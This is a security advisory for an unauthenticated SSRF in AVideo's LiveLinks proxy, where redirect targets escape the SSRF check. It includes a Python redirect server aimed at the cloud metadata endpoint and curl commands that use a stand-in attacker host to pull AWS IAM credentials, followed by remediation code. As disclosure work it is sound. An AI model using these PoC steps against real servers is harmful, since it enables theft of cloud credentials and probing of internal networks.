GHSA-9x67-f2v7-63rw AVideo vulnerable to unauthenticated SSRF via HTTP redirect bypass in LiveLinks proxy

• Packagist wwbn/avideo: <= 25.0 (no fix yet)

Summary The `plugin/LiveLinks/proxy.php` endpoint validates user-supplied URLs against internal/private networks using `isSSRFSafeURL()`, but only checks the initial URL. When the initial URL responds with an HTTP redirect (`Location` header), the redirect target is fetched via `fakeBrowser()` without re-validation, allowing an attacker to reach internal services (cloud metadata, RFC1918 addresses) through an attacker-controlled redirect. Affected Component • `plugin/LiveLinks/proxy.php` — lines 38-42 (redirect handling without SSRF re-validation) • `objects/functionsBrowser.php` — `fakeBrowser()` (line 123, raw cURL fetch with no SSRF protections) Description Missing SSRF re-validation after HTTP redirect The `proxy.php` endpoint validates the user-supplied `livelink` parameter against internal networks on line 18, using the comprehensive `isSSRFSafeURL()` function (which blocks private IPs, loopback, link-local/metadata, cloud metadata hostnames, and resolves DNS to detect rebinding). However, after calling `get_headers()` on line 38 — which follows HTTP redirects — the code extracts the `Location` header and passes it directly to `fakeBrowser()` without re-applying the SSRF check: ```php // plugin/LiveLinks/proxy.php — lines 17-42 // SSRF Protection: Block requests to internal/private networks if (!isSSRFSafeURL($_GET['livelink'])) { // line 18: only checks initial URL _error_log("LiveLinks proxy: SSRF protection blocked URL: " . $_GET['livelink']); echo "Access denied: URL targets restricted network"; exit; } // ... stream context setup ... $headers = get_headers($_GET['livelink'], 1, $context); // line 38: follows redirects if (!empty($headers["Location"])) { $_GET['livelink'] = $headers["Location"]; // line 40: attacker-controlled redirect target $urlinfo = parse_url($_GET['livelink']); $content = fakeBrowser($_GET['livelink']); // line 42: fetches internal URL, NO SSRF check $_GET['livelink'] = "{$urlinfo["scheme"]}://{$urlinfo["host"]}:{$urlinfo["port"]}"; } ``` No SSRF protections in fakeBrowser() The `fakeBrowser()` function in `objects/functionsBrowser.php` performs a raw cURL GET with no URL validation: ```php // objects/functionsBrowser.php — lines 123-141 function fakeBrowser($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 ...'); $output = curl_exec($ch); curl_close($ch); return $output; } ``` No IP validation, no scheme restriction, no redirect control — any URL passed to this function is fetched unconditionally. Endpoint is fully unauthenticated The file begins by explicitly opting out of database and session initialization: ```php $doNotConnectDatabaseIncludeConfig = 1; $doNotStartSessionbaseIncludeConfig = 1; require_once '../../videos/configuration.php'; ``` There is no `.htaccess` rule restricting access to `proxy.php`, and the root `.htaccess` confirms the plugin directory is routable (line 248: `RewriteRule ^plugin/([^...]+)/(.*)?$ plugin/$1/$2`). Inconsistent defense pattern The codebase demonstrates awareness of SSRF risks — `isSSRFSafeURL()` is used in 5 other locations (`aVideoEncoder.json.php:303`, `aVideoEncoderReceiveImage.json.php:67,107,135,160`, `AI/receiveAsync.json.php:177`). However, none of these callers deal with HTTP redirects. The `proxy.php` endpoint is the only one that follows redirects, and it is the only one that fails to re-validate after following them. Double SSRF exposure There are actually two SSRF requests in the redirect path: 1. `get_headers()` (line 38) follows the redirect to the internal IP to fetch response headers 2. `fakeBrowser()` (line 42) fetches the full response body from the internal IP The second is more impactful as it returns the full content to the attacker. Proof of Concept Step 1: Set up an attacker-controlled server that returns a 302 redirect to an internal target: ```python redirect_server.py from http.server import HTTPServer, BaseHTTPRequestHandler class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', 'http://169.254.169.254/latest/meta-data/') self.end_headers() HTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever() ``` Step 2: Send the request to the target AVideo instance: ```bash curl -s "https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect" ``` Expected result: The response will contain the cloud metadata listing (e.g., `ami-id`, `instance-id`, `iam/`) prefixed with `http://169.254.169.254:` on each line. The attacker strips the prefix to recover the original metadata content. Step 3: Escalate to IAM credential theft: ```bash Redirect to: http://169.254.169.254/latest/meta-data/iam/security-credentials/ curl -s "https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect-iam" ``` This returns temporary AWS credentials (`AccessKeyId`, `SecretAccessKey`, `Token`) that can be used to access cloud resources. Impact • Cloud metadata exposure: Attacker can read instance metadata on AWS (169.254.169.254), GCP (metadata.google.internal), and Azure (169.254.169.254) cloud deployments, including IAM role credentials • Internal network scanning: Attacker can probe RFC1918 addresses (10.x, 172.16-31.x, 192.168.x) and localhost services to map internal infrastructure • Internal service data exfiltration: Any HTTP GET-accessible internal service (databases with HTTP interfaces, admin panels, monitoring dashboards) can have its content read and returned to the attacker • No authentication required: The attack is fully unauthenticated, requiring only network access to the AVideo instance Recommended Remediation Option 1: Re-validate the redirect target with isSSRFSafeURL() (preferred) Apply the same SSRF check to the redirect URL before fetching it: ```php $headers = get_headers($_GET['livelink'], 1, $context); if (!empty($headers["Location"])) { $_GET['livelink'] = $headers["Location"]; // Re-validate redirect target against SSRF if (!isSSRFSafeURL($_GET['livelink'])) { _error_log("LiveLinks proxy: SSRF protection blocked redirect URL: " . $_GET['livelink']); echo "Access denied: Redirect URL targets restricted network"; exit; } $urlinfo = parse_url($_GET['livelink']); $content = fakeBrowser($_GET['livelink']); $_GET['livelink'] = "{$urlinfo["scheme"]}://{$urlinfo["host"]}:{$urlinfo["port"]}"; } ``` Option 2: Disable redirect following in get_headers() Prevent `get_headers()` from following redirects entirely by adding `follow_location` to the stream context: ```php $options = array( 'http' => array( 'user_agent' => '...', 'method' => 'GET', 'header' => array("Referer: localhost\r\nAccept-language: en\r\nCookie: foo=bar\r\n"), 'follow_location' => 0, // Do not follow redirects 'max_redirects' => 0, ) ); ``` Then validate the `Location` header with `isSSRFSafeURL()` before following it manually. This approach prevents the `get_headers()` call itself from performing SSRF via the redirect. Note: Option 1 is simpler but still allows `get_headers()` to make an initial request to the redirect target (header-only SSRF). Option 2 eliminates both SSRF vectors. Both options should be combined for defense-in-depth. Credit This vulnerability was discovered and reported by bugbunny.ai.